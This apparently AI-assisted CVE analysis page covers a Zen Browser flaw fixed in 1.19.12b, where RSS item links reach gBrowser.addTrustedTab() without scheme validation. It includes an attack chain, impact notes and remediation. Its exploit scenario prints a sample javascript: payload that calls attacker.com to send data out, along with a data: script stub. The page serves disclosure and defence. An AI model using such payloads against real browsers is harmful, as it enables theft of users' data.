Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCompromise or create RSS feed source
-
DeliveryInject non-HTTP(S) link in item field
-
ExploitUser subscribes to feed in Zen Browser
-
ExecutionLive-folder manager auto-creates pinned tab
-
PersistUnvalidated URL reaches gBrowser.addTrustedTab()
-
ImpactMalicious script/protocol executes in trusted context
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
|
| Exploitation Conditions | Exploitation requires the following specific, concrete prerequisites: (1) An attacker with high privileges capable of creating or modifying RSS/Atom feed content (e.g., feed publisher account, compromised feed server, or man-in-the-middle position on the feed distribution channel); (2) A victim user subscribed to the attacker-controlled feed using Zen Browser's RSS subscription feature; (3) The attacker injects a non-HTTP(S) URL into an RSS/Atom item link field (the 'item link' element, not the feed URL itself); (4) The victim's browser must have the live-folder manager feature active (the automatic tab creation from feed items). The vulnerability is limited to Zen Browser prior to 1.19.12b and does NOT require the victim to actively click the malicious feed item - tabs are created automatically by the live-folder manager. Authentication is bypassed once the feed is subscribed. The attack does not work against feed URL entry itself, which already validates scheme, only against item links within valid feeds. |
| Impact | Despite the low CVSS score (2.4), the risk assessment reveals a nuanced real-world priority. The CVSS vector (AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N) indicates network-accessible remote attack requiring high privileges and user interaction, with integrity impact only. The high-privilege requirement (PR:H) significantly constrains exploitability - only administrative or very high-privileged users can author feeds that trigger this path. However, the 'UI:R' (user interaction required) is partially misleading: while the user must subscribe to or view a feed, they do not need to actively click the malicious item; the live-folder manager automatically creates pinned tabs from feed items. The attack requires social engineering (feed creation by trusted source or account compromise of a feed publisher). The integrity impact is limited to tab open behavior and potential script context confusion rather than direct code execution or data exfiltration. No EPSS score or KEV status provided; the absence of active exploitation reports combined with the privilege barrier suggests this is low-priority for most deployments unless users actively subscribe to feeds from untrusted or compromised sources. The fix is available and straightforward, making this a 'patch on schedule' rather than 'emergency' issue. |
| Exploit ScenarioDerived | A high-privileged user (system administrator or account with RSS feed creation rights) authors or compromises a shared RSS feed and injects an item with a non-HTTP(S) URL (e.g., 'javascript:void(fetch(attacker.com/steal?data=...))' or 'data:text/html,<script>...') in the item link field. When a regular user subscribes to this feed, Zen Browser's live-folder manager automatically creates pinned tabs from feed items without URL validation. The malicious link is opened as a trusted tab, potentially executing embedded JavaScript or accessing sensitive browser APIs depending on the protocol handler behavior. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 11, 2026
Zen Browser prior to 1.19.12b fails to validate item links within RSS/Atom feeds, allowing high-privileged users to inject malicious URLs that bypass feed URL restrictions and are opened as trusted tabs. An attacker with administrative or high privileges can craft a malicious RSS feed containing non-HTTP(S) links that are processed without validation and opened with elevated trust, potentially enabling script injection or protocol handler abuse.
RemediationAI
Upgrade Zen Browser to version 1.19.12b or later, which implements URL scheme validation for RSS/Atom item links consistent with feed URL entry validation. Users unable to immediately upgrade should avoid subscribing to RSS feeds from untrusted sources and review subscribed feeds for suspicious content. Administrators can use content policies to restrict RSS feed subscriptions or disable the live-folder feature if RSS functionality is not required. The patch specifically adds validation in the RSS/Atom item processing code path to enforce http: or https: schemes, matching the existing promptForFeedUrl restrictions. See GitHub advisory GHSA-cc9c-mmmf-c5j6 for detailed patch notes.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability stems from an inconsistent validation pattern in Zen Browser's RSS feed handling. The promptForFeedUrl function correctly restricts user-entered RSS feed URLs to http: or https: protocols via CWE-20 (Improper Input Validation). However, this validation is not applied to individual item links extracted from the feed content. The RSS/Atom provider module maps each feed item's link attribute to item.url and performs only presence and date filtering, bypassing URL scheme validation. These unvalidated URLs are subsequently passed to gBrowser.addTrustedTab(item.url, ...), which creates pinned tabs with browser-level trust privileges. This creates a protocol confusion attack vector where non-HTTP schemes (javascript:, data:, file:, etc.) can reach trusted tab creation without validation, violating the principle of consistent input sanitization across related code paths.
Know when Desktop gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
Primary rating from Vendor (GitHub_M) · only source for this CVE.
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
Zen is a firefox-based browser. Prior to 1.19.12b, RSS feed URLs entered by the user are validated to http: or https: in promptForFeedUrl, but item links inside the feed are not subject to the same restriction. The provider maps each RSS/Atom item link into item.url, filters only for presence and date, and returns the item list. The live-folder manager later creates pinned lazy tabs from these values with gBrowser.addTrustedTab(item.url, ...). This vulnerability is fixed in 1.19.12b.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Nextcloud Desktop Client prior to 3.1.3 is vulnerable to resource injection by way of missing validation of URLs, allowi
A code injection in Nextcloud Desktop Client 2.6.4 allowed to load arbitrary code when placing a malicious OpenSSL confi
In Docker Desktop 4.17.x the Artifactory Integration falls back to sending registry credentials over plain HTTP if the H
Missing sanitization of a server response in Nextcloud Desktop Client 2.6.4 for Linux allowed a malicious Nextcloud Serv
A code injection in Nextcloud Desktop Client 2.6.2 for macOS allowed to load arbitrary code when starting the client wit
Docker Desktop allows local privilege escalation to NT AUTHORITY\SYSTEM because it mishandles the collection of diagnost
The Nextcloud Desktop Client is a tool to synchronize files from Nextcloud Server. Rated medium severity (CVSS 6.5), thi
The Nextcloud Desktop Client is a tool to synchronize files from Nextcloud Server with a computer. Rated medium severity
Nextcloud is an open-source productivity platform. Rated medium severity (CVSS 6.4), this vulnerability is remotely expl
The Nextcloud Desktop Client is a tool to synchronize files from Nextcloud Server. Rated medium severity (CVSS 6.1), thi
Nexcloud desktop is the Desktop sync client for Nextcloud. Rated medium severity (CVSS 6.1), this vulnerability is remot
Nextcloud Desktop Client before 3.3.1 is vulnerable to improper certificate validation due to lack of SSL certificate ve
EUVD-2026-29132
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB